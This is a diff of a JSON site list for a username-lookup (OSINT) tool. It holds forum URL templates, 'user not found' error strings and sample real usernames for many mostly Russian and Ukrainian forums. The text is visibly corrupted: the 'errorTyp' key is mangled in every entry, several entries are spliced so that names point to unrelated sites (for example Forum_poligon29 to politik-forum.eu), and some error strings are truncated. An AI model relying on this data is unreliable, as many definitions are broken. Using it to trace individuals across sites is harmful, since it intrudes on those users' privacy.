"urlMain": "http://podrastem.com", + "usernameON": "spenga", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_poezd-photo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://poezd-photo.ucoz.ru/index/8-0-{}", + "urlMain": "https://poezd-photo.ucoz.ru", + "usernameON": "rafikakenirov", + "bad_site": "" + }, + "Forum_pokatushki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pokatushki.ucoz.ru/index/8-0-{}", + "urlMain": "https://pokatushki.ucoz.ru", + "usernameON": "Mystic", + "bad_site": "" + }, + "Forum_pokebeach": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.pokebeach.com/forums/members/?username={}", + "urlMain": "https://www.pokebeach.com", + "usernameON": "geodugtrio", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pokemine": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "http://forum.pokemine.gg/search/?q={}&type=core_members", + "urlMain": "http://forum.pokemine.gg", + "usernameON": "czoko68", + "bad_site": "" + }, + "Forum_pokemmo": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search. ", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://forums.pokemmo.eu/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.pokemmo.eu", + "usernameON": "kayninexl", + "bad_site": "" + }, + "Forum_pokemonrevolution": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search.", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://pokemonrevolution.net/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://pokemonrevolution.net", + "usernameON": "Hack00", + "bad_site": "" + }, + "Forum_pokerchip": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pokerchipforum.com/members/?username={}", + "urlMain": "https://www.pokerchipforum.com", + "usernameON": "dmcl924", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pokersrbija": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.pokersrbija.com/u/{}", + "urlMain": "https://forum.pokersrbija.com", + "usernameON": "mim4dayi", + "bad_site": "" + }, + "Forum_pokerus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://pokerus.ru/index/8-0-{}", + "urlMain": "https://pokerus.ru", + "usernameON": "Mult", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_poligon29": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.politik-forum.eu/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.politik-forum.eu", + "usernameON": "Michi", + "bad_site": "" + }, + "Forum_politomsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://politomsk.ru/index/8-0-{}", + "urlMain": "http://politomsk.ru", + "usernameON": "slepuhin198427", + "bad_site": "" + }, + "Forum_polkadot": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.polkadot.network/u/{}/summary", + "urlMain": "https://forum.polkadot.network", + "usernameON": "muddlebee", + "bad_site": "" + }, + "Forum_pominovenieiv": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ponarama.my1.ru/index/8-0-{}", + "urlMain": "https://ponarama.my1.ru", + "usernameON": "realhacking", + "bad_site": "" + }, + "Forum_poodle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.poodleforum.com/members/?username={}", + "urlMain": "https://www.poodleforum.com/", + "usernameON": "cowpony", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_popasnayalife": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://popasnayalife.at.ua/index/8-0-{}", + "urlMain": "https://popasnayalife.at.ua", + "usernameON": "AlisaBerne", + "bad_site": "" + }, + "Forum_popgun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://popgun.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://popgun.ru", + "usernameON": "igor42", + "comments": "bad", + "bad_site": "" + }, + "Forum_popjustice": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.popjustice.com/members/?username={}", + "urlMain": "https://forum.popjustice.com", + "usernameON": "dumper", + "bad_site": "" + }, + "Forum_porcheAU": { + "country": "🇦🇺", + "country_klas": "AU", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://porscheforum.com.au/search/?q={}&quick=1&type=core_members", + "urlMain": "https://porscheforum.com", + "usernameON": "tomo", + "bad_site": "" + }, + "Forum_porka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://porki.ucoz.ru/index/8-0-{}", + "urlMain": "https://porki.ucoz.ru", + "usernameON": "porki", + "bad_site": "" + }, + "Forum_pornworld": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pornworld.to/members/?username={}", + "urlMain": "https://pornworld.to", + "usernameON": "popeluka", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_portal-anime": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://portal-anime.ru/index/8-0-{}", + "urlMain": "http://portal-anime.ru", + "usernameON": "SASUKE1744", + "bad_site": "" + }, + "Forum_portirkutsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://portirkutsk.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://portirkutsk.ru", + "usernameON": "Tema28", + "bad_site": "" + }, + "Forum_posol_BLOCK_RU_IP": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://posol.ucoz.ru/index/8-0-{}", + "urlMain": "http://posol.ucoz.ru", + "usernameON": "umtor", + "comments": "bad", + "bad_site": "" + }, + "Forum_postwrestling": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.postwrestling.com/u/{}/summary", + "urlMain": "https://forum.postwrestling.com", + "usernameON": "nealflanagan", + "bad_site": "" + }, + "Forum_potystorony": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://potystorony.ucoz.ru/index/8-0-{}", + "urlMain": "https://potystorony.ucoz.ru", + "usernameON": "zaconnic", + "bad_site": "" + }, + "Forum_pouet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "registered
403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravmama.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravmama.ucoz.ru", + "usernameON": "toolni", + "bad_site": "" + }, + "Forum_pravo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pravo.r1v.ru/index/8-0-{}", + "urlMain": "http://pravo.r1v.ru", + "usernameON": "Arkchloush", + "comments": "bad", + "bad_site": 1 + }, + "Forum_pravoslavie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pravoslavie-forum.org/members/?username={}", + "urlMain": "https://pravoslavie-forum.org", + "usernameON": "serg", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pravoslavie-12": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravoslavie-12.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravoslavie-12.ucoz.ru", + "usernameON": "Admins", + "bad_site": "" + }, + "Forum_pravoslavie-alt": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.pravoslavie-alt.ru/index/8-0-{}", + "urlMain": "https://www.pravoslavie-alt.ru", + "usernameON": "Loginova19", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_pravoslavielove": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravoslavielove.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravoslavielove.ucoz.ru", + "usernameON": "Oles", + "bad_site": "" + }, + "Forum_predatel": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://predatel.ucoz.ua/index/8-0-{}", + "urlMain": "https://predatel.ucoz.ua", + "usernameON": "Старлей", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pregnancy": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "robots\" content=\"noindex, nofollow", + "errorMsg3": "Critical Error", + "errorTyp��": "message", + "url": "https://pregnancy.org.ua/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://pregnancy.org.ua", + "usernameON": "Nadinka", + "bad_site": "" + }, + "Forum_prepas": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Aucun sujet ou message ne correspond à vos critères de recherche.", + "errorMsg2": "Please wait", + "errorMsg3": "Information", + "errorTyp��": "message", + "url": "https://forum.prepas.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.prepas.org", + "usernameON": "red", + "bad_site": "" + }, + "Forum_prepperforums": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.prepperforums.net/members/?username={}", + "urlMain": "https://www.prepperforums.net", + "usernameON": "paraquack", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pressball": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация\n ", + "errorTyp��": "message", + "url": "https://forum.pressball.by/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pressball.by", + "usernameON": "zalgiris", + "bad_site": 1 + }, + "Forum_pressurewashingresource": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://pressurewashingresource.com/community/u/{}/summary", + "urlMain": "https://pressurewashingresource.com/", + "usernameON": "letterguy", + "bad_site": "" + }, + "Forum_prestashop": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "0 result", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://www.prestashop.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.prestashop.com", + "usernameON": "cmpm", + "bad_site": "" + }, + "Forum_prihoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.prihoz.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.prihoz.ru", + "usernameON": "grawicapa", + "bad_site": "" + }, + "Forum_primat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://primat.org/index/8-0-{}", + "urlMain": "http://primat.org", + "usernameON": "alyonaaaaaa", + "bad_site": "" + }, + "Forum_primetimer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "There were no results", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.primetimer.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.primetimer.com", + "usernameON": "athena", + "comments": "ZAK_user", + "bad_site": "" + }, + "Forum_primhunt": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://primhunt.ru/members/?username={}", + "urlMain": "https://primhunt.ru", + "usernameON": "gap", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_primkoniponi": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg2": "hidden\" name=\"quicksearch", + "errorTyp��": "message", + "url": "http://www.priorovod.ru/blog.php?username={}", + "urlMain": "http://www.priorovod.ru", + "usernameON": "topcar77", + "bad_site": "" + }, + "Forum_priroda77": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.privateinvestor2000.com/index/8-0-{}", + "urlMain": "http://www.privateinvestor2000.com", + "usernameON": "olga77kol", + "bad_site": "" + }, + "Forum_prizrak": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://prizrak.ws/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://prizrak.ws", + "usernameON": "Jockers", + "bad_site": "" + }, + "Forum_prizyvnikmoy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prizyvnikmoy.ru/index/8-0-{}", + "urlMain": "https://prizyvnikmoy.ru", + "usernameON": "t1984n2003", + "bad_site": "" + }, + "Forum_pro-cats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "http://pro-cats.ru/index/8-0-{}", + "urlMain": "http://pro-cats.ru", + "usernameON": "parrots", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pro-edu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pro-edu.ucoz.ru/index/8-0-{}", + "urlMain": "https://pro-edu.ucoz.ru", + "usernameON": "ViMo", + "bad_site": "" + }, + "Forum_pro-kleim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pro-kleim.ucoz.ru/index/8-0-{}", + "urlMain": "http://pro-kleim.ucoz.ru/", + "usernameON": "4047916", + "bad_site": "" + }, + "Forum_pro-zarabotok": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pro-zarabotok.su/index/8-0-{}", + "urlMain": "http://pro-zarabotok.su", + "usernameON": "grusakpavel", + "comments": "bad", + "bad_site": 1 + }, + "Forum_pro100warezz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://pro100warezz.ucoz.ru/index/8-0-{}", + "urlMain": "https://pro100warezz.ucoz.ru", + "usernameON": "jasurbekvideo1987", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_probiv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://probiv.cc/members/?username={}", + "urlMain": "https://probiv.cc", + "usernameON": "Valerun", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_prodigy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prodigy.moy.su/index/8-0-{}", + "urlMain": "https://prodigy.moy.su", + "usernameON": "Jap", + "bad_site": "" + }, + "Forum_prodjex": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.prodjex.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.prodjex.com", + "usernameON": "shriyanshi", + "bad_site": "" + }, + "Forum_proekt-gaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://proekt-gaz.ru/index/8-0-{}", + "urlMain": "http://proekt-gaz.ru", + "usernameON": "gaspar", + "bad_site": "" + }, + "Forum_proekt-ts-ow-wk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://proekt-ts-ow-wk.ucoz.ru/index/8-0-{}", + "urlMain": "https://proekt-ts-ow-wk.ucoz.ru", + "usernameON": "demi", + "bad_site": "" + }, + "Forum_prof": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://prof.forum24.ru/?32-{}", + "urlMain": "https://prof.forum24.ru", + "usernameON": "lahamar", + "bad_site": "" + }, + "Forum_prof-foto-video": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prof-foto-video.ucoz.ru/index/8-0-{}", + "urlMain": "https://prof-foto-video.ucoz.ru", + "usernameON": "Montager", + "bad_site": "" + }, + "Forum_prof-rem-zona": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prof-rem-zona.at.ua/index/8-0-{}", + "urlMain": "https://prof-rem-zona.at.ua", + "usernameON": "radopitopit0002", + "bad_site": "" + }, + "Forum_professionalmuscle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.professionalmuscle.com/forums/index.php?members/&username={}", + "urlMain": "https://www.professionalmuscle.com", + "usernameON": "lk3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_profile_astro": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://profile.astro-seek.com/{}", + "urlMain": "https://profile.astro-seek.com", + "usernameON": "sduraybito", + "bad_site": "" + }, + "Forum_profootball": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.profootballforums.com/members/?username={}", + "urlMain": "https://www.profootballforums.com", + "usernameON": "rowdy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_progagarin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://progagarin.ru/index/8-0-{}", + "urlMain": "http://progagarin.ru", + "usernameON": "Pol", + "bad_site": "" + }, + "Forum_prohashing": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.prohashing.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.prohashing.com", + "usernameON": "lewishamilton", + "bad_site": "" + }, + "Forum_project-ss": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://project-ss.ru/index/8-0-{}", + "urlMain": "http://project-ss.ru", + "usernameON": "oleg1980nik", + "comments": "bad", + "bad_site": 1 + }, + "Forum_projectpokemon": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search.", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://projectpokemon.org/home/search/?q={}&quick=1&type=core_members", + "urlMain": "https://projectpokemon.org", + "usernameON": "insanenutter", + "bad_site": "" + }, + "Forum_prokireevsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://prokireevsk.ru/index/8-0-{}", + "urlMain": "http://prokireevsk.ru", + "usernameON": "WILDKATbjr", + "bad_site": "" + }, + "Forum_pron": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pron.my1.ru/index/8-0-{}", + "urlMain": "http://pron.my1.ru/", + "usernameON": "Belryelug", + "bad_site": "" + }, + "Forum_propisnoy": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prostoljud.my1.ru/index/8-0-{}", + "urlMain": "https://prostoljud.my1.ru", + "usernameON": "biblicalstudiesru", + "bad_site": "" + }, + "Forum_proxmox": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.proxmox.com/members/?username={}", + "urlMain": "https://forum.proxmox.com", + "usernameON": "emunt6", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pskovchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.pskovchess.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pskovchess.ru", + "usernameON": "shakh", + "bad_site": "" + }, + "Forum_psp-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psp-club.ucoz.net/index/8-0-{}", + "urlMain": "https://psp-club.ucoz.net", + "usernameON": "swp", + "bad_site": "" + }, + "Forum_psp1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psp1.do.am/index/8-0-{}", + "urlMain": "https://psp1.do.am", + "usernameON": "serg2037", + "bad_site": "" + }, + "Forum_psx-core": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psx-core.ru/index/8-0-{}", + "urlMain": "https://psx-core.ru", + "usernameON": "pvc1", + "bad_site": "" + }, + "Forum_psxworld": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://psxworld.ru/index/8-0-{}", + "urlMain": "http://psxworld.ru", + "usernameON": "majerock", + "bad_site": "" + }, + "Forum_psy-dv_org": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psy-dv.org/index/8-0-{}", + "urlMain": "https://psy-dv.org", + "usernameON": "Michael", + "bad_site": "" + }, + "Forum_psych": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.psychforums.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.psychforums.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_psyche": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "возникла проблема", + "errorMsg3": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://psyche.guru/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://psyche.guru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_psychobike": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.psychobike.com/members/?username={}", + "urlMain": "https://www.psychobike.com", + "usernameON": "streetfighterz", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_psystan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.psystan.ru/index/8-0-{}", + "urlMain": "http://www.psystan.ru", + "usernameON": "Olsestar", + "bad_site": "" + }, + "Forum_pt_at": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pt.at.ua/index/8-0-{}", + "urlMain": "https://pt.at.ua/", + "usernameON": "novator197726", + "bad_site": "" + }, + "Forum_punkgazetka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>http://forum.quake2.com.ru :: ", + "errorTyp��": "message", + "url": "https://forum.quake2.com.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.quake2.com.ru/", + "usernameON": "Khidalov", + "bad_site": "" + }, + "Forum_quakeworld": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "not return any result. ", + "errorMsg2": "div class=\"table\" style=\"margin-bottom", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.quakeworld.nu/profiles/?u={}", + "urlMain": "https://www.quakeworld.nu", + "usernameON": "renzo", + "bad_site": "" + }, + "Forum_questionablequesting": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.questionablequesting.com/members/?username={}", + "urlMain": "https://forum.questionablequesting.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_quik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Кудряшов", + "errorMsg2": "указан код пользователя", + "errorTyp��": "message", + "url": "https://forum.quik.ru/user/{}/", + "urlMain": 